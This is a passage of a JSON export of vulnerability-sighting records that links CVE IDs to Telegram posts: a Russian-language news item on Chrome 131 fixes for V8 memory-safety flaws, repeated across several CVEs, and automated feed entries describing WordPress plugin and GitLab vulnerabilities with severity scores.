\u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e Google \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u043d\u044f\u043b\u0430 \u0440\u044f\u0434 \u0448\u0430\u0433\u043e\u0432 \u0434\u043b\u044f \u0437\u0430\u0442\u0440\u0443\u0434\u043d\u0435\u043d\u0438\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0434\u0435\u0444\u0435\u043a\u0442\u043e\u0432 \u043f\u0430\u043c\u044f\u0442\u0438 \u0432 Chrome, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0438\u043d\u0432\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0430 \u0432 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0435 \u0442\u0430\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0441\u0432\u043e\u0435\u0439 \u043a\u043e\u0434\u043e\u0432\u043e\u0439 \u0431\u0430\u0437\u0435, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u043f\u0443\u0442\u0435\u043c \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430 \u043d\u0430 Rust.\n\n\u041f\u0435\u0440\u0435\u0445\u043e\u0434 \u043d\u0430 Rust \u043f\u0440\u0438\u0432\u0435\u043b \u043a\u00a0\u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u043c\u0443 \u0441\u043d\u0438\u0436\u0435\u043d\u0438\u044e\u00a0\u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u0430 \u043e\u0448\u0438\u0431\u043e\u043a \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043f\u0430\u043c\u044f\u0442\u0438 \u0432 Android \u0437\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 \u043f\u044f\u0442\u044c \u043b\u0435\u0442, \u0438 \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u044b\u0435 \u0443\u043b\u0443\u0447\u0448\u0435\u043d\u0438\u044f \u043e\u0436\u0438\u0434\u0430\u044e\u0442\u0441\u044f \u0438 \u0432 Chrome, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 Google \u0442\u0430\u043a\u0436\u0435\u00a0\u043f\u0435\u0440\u0435\u0432\u0435\u0434\u0435\u0442\u00a0\u0431\u0440\u0430\u0443\u0437\u0435\u0440 \u043d\u0430 Rust.", "creation_timestamp": "2024-12-19T16:55:44.000000Z"}, {"uuid": "17652100-fc3c-41db-992d-1a2405d7c8f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12694", "type": "seen", "source": "https://t.me/BitLenta/38767", "content": "Google \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 Chrome 131 \u0441 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f\u043c\u0438 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043f\u0430\u043c\u044f\u0442\u0438, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0442\u0440\u0438, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0438\u0435 \u0434\u0432\u0438\u0436\u043e\u043a JavaScript V8.\n\n\u041f\u0435\u0440\u0432\u0430\u044f \u0438\u0437 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0431\u043b\u0435\u043c, \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u0430\u044f \u043a\u0430\u043a CVE-2024-12692, \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u043e\u0448\u0438\u0431\u043a\u0443 \u043f\u0443\u0442\u0430\u043d\u0438\u0446\u044b \u0442\u0438\u043f\u043e\u0432 \u0432 \u0434\u0432\u0438\u0436\u043a\u0435 JavaScript V8 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430, \u0437\u0430 \u043a\u043e\u0442\u043e\u0440\u0443\u044e Google \u0432\u044b\u043f\u043b\u0430\u0442\u0438\u043b\u0430 55 000 \u0434\u043e\u043b\u043b\u0430\u0440\u043e\u0432 \u0441\u043e\u043e\u0431\u0449\u0438\u0432\u0448\u0435\u043c\u0443 \u043e \u043d\u0435\u0439 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044e.\n\n\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u043e\u0431 \u043e\u0448\u0438\u0431\u043a\u0430\u0445 \u0441\u043a\u0440\u044b\u0432\u0430\u044e\u0442\u0441\u044f, \u0432\u043e\u0437\u043d\u0430\u0433\u0440\u0430\u0436\u0434\u0435\u043d\u0438\u0435 \u0432 \u0442\u0430\u043a\u043e\u043c \u0440\u0430\u0437\u043c\u0435\u0440\u0435 \u043e\u0431\u044b\u0447\u043d\u043e \u0432\u044b\u043f\u043b\u0430\u0447\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0437\u0430 \u0434\u0435\u0444\u0435\u043a\u0442\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043a\u043e\u0434\u0430 (RCE).\n\n\u0412\u0442\u043e\u0440\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043e \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0441\u043e\u043e\u0431\u0449\u0430\u043b\u043e\u0441\u044c \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 BugBounty, - \u044d\u0442\u043e \u0434\u0440\u0443\u0433\u0430\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043f\u0430\u043c\u044f\u0442\u0438 \u0432 \u0434\u0432\u0438\u0436\u043a\u0435 V8.\n\n\u041e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u0430\u044f \u043a\u0430\u043a CVE-2024-12693 \u0438 \u043e\u043f\u0438\u0441\u0430\u043d\u043d\u0430\u044f \u043a\u0430\u043a \u043e\u0448\u0438\u0431\u043a\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043f\u0430\u043c\u044f\u0442\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0435\u0435 \u0433\u0440\u0430\u043d\u0438\u0446, \u043f\u0440\u0438\u043d\u0435\u0441\u043b\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044e, \u0441\u043e\u043e\u0431\u0449\u0438\u0432\u0448\u0435\u043c\u0443 \u043e\u0431 \u043e\u0448\u0438\u0431\u043a\u0435, \u0432\u043e\u0437\u043d\u0430\u0433\u0440\u0430\u0436\u0434\u0435\u043d\u0438\u0435 \u0432 \u0440\u0430\u0437\u043c\u0435\u0440\u0435 20\u00a0000 \u0434\u043e\u043b\u043b\u0430\u0440\u043e\u0432 \u0421\u0428\u0410.\n\n\u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430 \u0442\u0430\u043a\u0436\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u0435\u0442 CVE-2024-12694, \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443 \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u043e\u0441\u043b\u0435 \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u0432 Compositing, \u0438 CVE-2024-12695, \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0437\u0430\u043f\u0438\u0441\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0433\u0440\u0430\u043d\u0438\u0446 \u0432 \u0434\u0432\u0438\u0436\u043a\u0435 V8. \u0412\u043e\u0437\u043d\u0430\u0433\u0440\u0430\u0436\u0434\u0435\u043d\u0438\u0435 \u043f\u043e\u043a\u0430 \u043d\u0435 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u043e.\n\n\u041f\u043e\u0441\u043b\u0435\u0434\u043d\u044f\u044f \u0432\u0435\u0440\u0441\u0438\u044f Chrome \u0442\u0435\u043f\u0435\u0440\u044c \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0432 \u0432\u0435\u0440\u0441\u0438\u0438 131.0.6778.204/.205 \u0434\u043b\u044f Windows \u0438 macOS, \u0430 \u0442\u0430\u043a\u0436\u0435 - 131.0.6778.204 \u0434\u043b\u044f Linux.\n\nGoogle \u043d\u0435 \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u0435\u0442 \u043e \u0442\u043e\u043c, \u0447\u0442\u043e \u043a\u0430\u043a\u0438\u0435-\u043b\u0438\u0431\u043e \u0438\u0437 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445.\n\n\u0422\u0430\u043a\u0436\u0435 \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e Google \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u043d\u044f\u043b\u0430 \u0440\u044f\u0434 \u0448\u0430\u0433\u043e\u0432 \u0434\u043b\u044f \u0437\u0430\u0442\u0440\u0443\u0434\u043d\u0435\u043d\u0438\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0434\u0435\u0444\u0435\u043a\u0442\u043e\u0432 \u043f\u0430\u043c\u044f\u0442\u0438 \u0432 Chrome, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0438\u043d\u0432\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0430 \u0432 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0435 \u0442\u0430\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0441\u0432\u043e\u0435\u0439 \u043a\u043e\u0434\u043e\u0432\u043e\u0439 \u0431\u0430\u0437\u0435, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u043f\u0443\u0442\u0435\u043c \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430 \u043d\u0430 Rust.\n\n\u041f\u0435\u0440\u0435\u0445\u043e\u0434 \u043d\u0430 Rust \u043f\u0440\u0438\u0432\u0435\u043b \u043a\u00a0\u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u043c\u0443 \u0441\u043d\u0438\u0436\u0435\u043d\u0438\u044e\u00a0\u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u0430 \u043e\u0448\u0438\u0431\u043e\u043a \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043f\u0430\u043c\u044f\u0442\u0438 \u0432 Android \u0437\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 \u043f\u044f\u0442\u044c \u043b\u0435\u0442, \u0438 \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u044b\u0435 \u0443\u043b\u0443\u0447\u0448\u0435\u043d\u0438\u044f \u043e\u0436\u0438\u0434\u0430\u044e\u0442\u0441\u044f \u0438 \u0432 Chrome, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 Google \u0442\u0430\u043a\u0436\u0435\u00a0\u043f\u0435\u0440\u0435\u0432\u0435\u0434\u0435\u0442\u00a0\u0431\u0440\u0430\u0443\u0437\u0435\u0440 \u043d\u0430 Rust.", "creation_timestamp": "2024-12-19T16:55:44.000000Z"}, {"uuid": "42966dfd-3023-4887-936c-11899c6c153c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12695", "type": "seen", "source": "https://t.me/BitLenta/38767", "content": "Google \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 Chrome 131 \u0441 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f\u043c\u0438 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043f\u0430\u043c\u044f\u0442\u0438, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0442\u0440\u0438, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0438\u0435 \u0434\u0432\u0438\u0436\u043e\u043a JavaScript V8.\n\n\u041f\u0435\u0440\u0432\u0430\u044f \u0438\u0437 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0431\u043b\u0435\u043c, \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u0430\u044f \u043a\u0430\u043a CVE-2024-12692, \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u043e\u0448\u0438\u0431\u043a\u0443 \u043f\u0443\u0442\u0430\u043d\u0438\u0446\u044b \u0442\u0438\u043f\u043e\u0432 \u0432 \u0434\u0432\u0438\u0436\u043a\u0435 JavaScript V8 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430, \u0437\u0430 \u043a\u043e\u0442\u043e\u0440\u0443\u044e Google \u0432\u044b\u043f\u043b\u0430\u0442\u0438\u043b\u0430 55 000 \u0434\u043e\u043b\u043b\u0430\u0440\u043e\u0432 \u0441\u043e\u043e\u0431\u0449\u0438\u0432\u0448\u0435\u043c\u0443 \u043e \u043d\u0435\u0439 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044e.\n\n\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u043e\u0431 \u043e\u0448\u0438\u0431\u043a\u0430\u0445 \u0441\u043a\u0440\u044b\u0432\u0430\u044e\u0442\u0441\u044f, \u0432\u043e\u0437\u043d\u0430\u0433\u0440\u0430\u0436\u0434\u0435\u043d\u0438\u0435 \u0432 \u0442\u0430\u043a\u043e\u043c \u0440\u0430\u0437\u043c\u0435\u0440\u0435 \u043e\u0431\u044b\u0447\u043d\u043e \u0432\u044b\u043f\u043b\u0430\u0447\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0437\u0430 \u0434\u0435\u0444\u0435\u043a\u0442\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043a\u043e\u0434\u0430 (RCE).\n\n\u0412\u0442\u043e\u0440\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043e \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0441\u043e\u043e\u0431\u0449\u0430\u043b\u043e\u0441\u044c \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 BugBounty, - \u044d\u0442\u043e \u0434\u0440\u0443\u0433\u0430\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043f\u0430\u043c\u044f\u0442\u0438 \u0432 \u0434\u0432\u0438\u0436\u043a\u0435 V8.\n\n\u041e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u0430\u044f \u043a\u0430\u043a CVE-2024-12693 \u0438 \u043e\u043f\u0438\u0441\u0430\u043d\u043d\u0430\u044f \u043a\u0430\u043a \u043e\u0448\u0438\u0431\u043a\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043f\u0430\u043c\u044f\u0442\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0435\u0435 \u0433\u0440\u0430\u043d\u0438\u0446, \u043f\u0440\u0438\u043d\u0435\u0441\u043b\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044e, \u0441\u043e\u043e\u0431\u0449\u0438\u0432\u0448\u0435\u043c\u0443 \u043e\u0431 \u043e\u0448\u0438\u0431\u043a\u0435, \u0432\u043e\u0437\u043d\u0430\u0433\u0440\u0430\u0436\u0434\u0435\u043d\u0438\u0435 \u0432 \u0440\u0430\u0437\u043c\u0435\u0440\u0435 20\u00a0000 \u0434\u043e\u043b\u043b\u0430\u0440\u043e\u0432 \u0421\u0428\u0410.\n\n\u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430 \u0442\u0430\u043a\u0436\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u0435\u0442 CVE-2024-12694, \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443 \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u043e\u0441\u043b\u0435 \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u0432 Compositing, \u0438 CVE-2024-12695, \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0437\u0430\u043f\u0438\u0441\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0433\u0440\u0430\u043d\u0438\u0446 \u0432 \u0434\u0432\u0438\u0436\u043a\u0435 V8. \u0412\u043e\u0437\u043d\u0430\u0433\u0440\u0430\u0436\u0434\u0435\u043d\u0438\u0435 \u043f\u043e\u043a\u0430 \u043d\u0435 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u043e.\n\n\u041f\u043e\u0441\u043b\u0435\u0434\u043d\u044f\u044f \u0432\u0435\u0440\u0441\u0438\u044f Chrome \u0442\u0435\u043f\u0435\u0440\u044c \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0432 \u0432\u0435\u0440\u0441\u0438\u0438 131.0.6778.204/.205 \u0434\u043b\u044f Windows \u0438 macOS, \u0430 \u0442\u0430\u043a\u0436\u0435 - 131.0.6778.204 \u0434\u043b\u044f Linux.\n\nGoogle \u043d\u0435 \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u0435\u0442 \u043e \u0442\u043e\u043c, \u0447\u0442\u043e \u043a\u0430\u043a\u0438\u0435-\u043b\u0438\u0431\u043e \u0438\u0437 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445.\n\n\u0422\u0430\u043a\u0436\u0435 \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e Google \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u043d\u044f\u043b\u0430 \u0440\u044f\u0434 \u0448\u0430\u0433\u043e\u0432 \u0434\u043b\u044f \u0437\u0430\u0442\u0440\u0443\u0434\u043d\u0435\u043d\u0438\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0434\u0435\u0444\u0435\u043a\u0442\u043e\u0432 \u043f\u0430\u043c\u044f\u0442\u0438 \u0432 Chrome, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0438\u043d\u0432\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0430 \u0432 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0435 \u0442\u0430\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0441\u0432\u043e\u0435\u0439 \u043a\u043e\u0434\u043e\u0432\u043e\u0439 \u0431\u0430\u0437\u0435, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u043f\u0443\u0442\u0435\u043c \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430 \u043d\u0430 Rust.\n\n\u041f\u0435\u0440\u0435\u0445\u043e\u0434 \u043d\u0430 Rust \u043f\u0440\u0438\u0432\u0435\u043b \u043a\u00a0\u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u043c\u0443 \u0441\u043d\u0438\u0436\u0435\u043d\u0438\u044e\u00a0\u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u0430 \u043e\u0448\u0438\u0431\u043e\u043a \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043f\u0430\u043c\u044f\u0442\u0438 \u0432 Android \u0437\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 \u043f\u044f\u0442\u044c \u043b\u0435\u0442, \u0438 \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u044b\u0435 \u0443\u043b\u0443\u0447\u0448\u0435\u043d\u0438\u044f \u043e\u0436\u0438\u0434\u0430\u044e\u0442\u0441\u044f \u0438 \u0432 Chrome, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 Google \u0442\u0430\u043a\u0436\u0435\u00a0\u043f\u0435\u0440\u0435\u0432\u0435\u0434\u0435\u0442\u00a0\u0431\u0440\u0430\u0443\u0437\u0435\u0440 \u043d\u0430 Rust.", "creation_timestamp": "2024-12-19T16:55:44.000000Z"}, {"uuid": "929e94dc-814c-41e7-ae2d-eae8786a7a28", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12037", "type": "seen", "source": "https://t.me/cvedetector/16929", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12037 - WordPress Stored Cross-Site Scripting in User Profiles Forms by Frontend Content Forms\", \n  \"Content\": \"CVE ID : CVE-2024-12037 \nPublished : Jan. 31, 2025, 11:15 a.m. | 33\u00a0minutes ago \nDescription : The Post Form \u2013 Registration Form \u2013 Profile Form for User Profiles \u2013 Frontend Content Forms for User Submissions (UGC) plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'bf_new_submission_link' shortcode in all versions up to, and including, 2.8.13 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"31 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-31T12:52:04.000000Z"}, {"uuid": "ccf24e8b-1e9c-4618-b210-17d19ba8b119", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12415", "type": "seen", "source": "https://t.me/cvedetector/16927", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12415 - \"WordPress AI Infographic Maker Plugin Shortcode Execution Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-12415 \nPublished : Jan. 31, 2025, 11:15 a.m. | 33\u00a0minutes ago \nDescription : The The AI Infographic Maker plugin for WordPress is vulnerable to arbitrary shortcode execution in all versions up to, and including, 4.9.0. This is due to the software allowing users to execute an action that does not properly validate a value before running do_shortcode. This makes it possible for unauthenticated attackers to execute arbitrary shortcodes. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"31 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-31T12:52:03.000000Z"}, {"uuid": "da4b64f4-5050-4c4c-9306-3d2671c63bd6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12267", "type": "seen", "source": "https://t.me/cvedetector/16926", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12267 - Contact Form 7 WordPress Limited Arbitrary File Deletion Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12267 \nPublished : Jan. 31, 2025, 11:15 a.m. | 33\u00a0minutes ago \nDescription : The Drag and Drop Multiple File Upload \u2013 Contact Form 7 plugin for WordPress is vulnerable to limited arbitrary file deletion due to insufficient file path validation in the dnd_codedropz_upload_delete() function in all versions up to, and including, 1.3.8.5. This makes it possible for unauthenticated attackers to delete limited arbitrary files on the server. It is not possible to delete files like wp-config.php that would make RCE possible. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"31 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-31T12:52:02.000000Z"}, {"uuid": "8f76af15-9030-40ed-9665-1891dd489f8d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1211", "type": "seen", "source": "https://t.me/cvedetector/16861", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-1211 - GitLab CSRF Vulnerability (CSFR)\", \n  \"Content\": \"CVE ID : CVE-2024-1211 \nPublished : Jan. 31, 2025, 12:15 a.m. | 1\u00a0hour, 6\u00a0minutes ago \nDescription : An issue has been discovered in GitLab CE/EE affecting all versions starting from 10.6 prior to 16.9.7, starting from 16.10 prior to 16.10.5, and starting from 16.11 prior to 16.11.2 in which cross-site request forgery may have been possible on GitLab instances configured to use JWT as an OmniAuth provider. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"31 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-31T02:49:20.000000Z"}, {"uuid": "292d8bec-2c7e-40f4-b398-da7731dafc69", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": 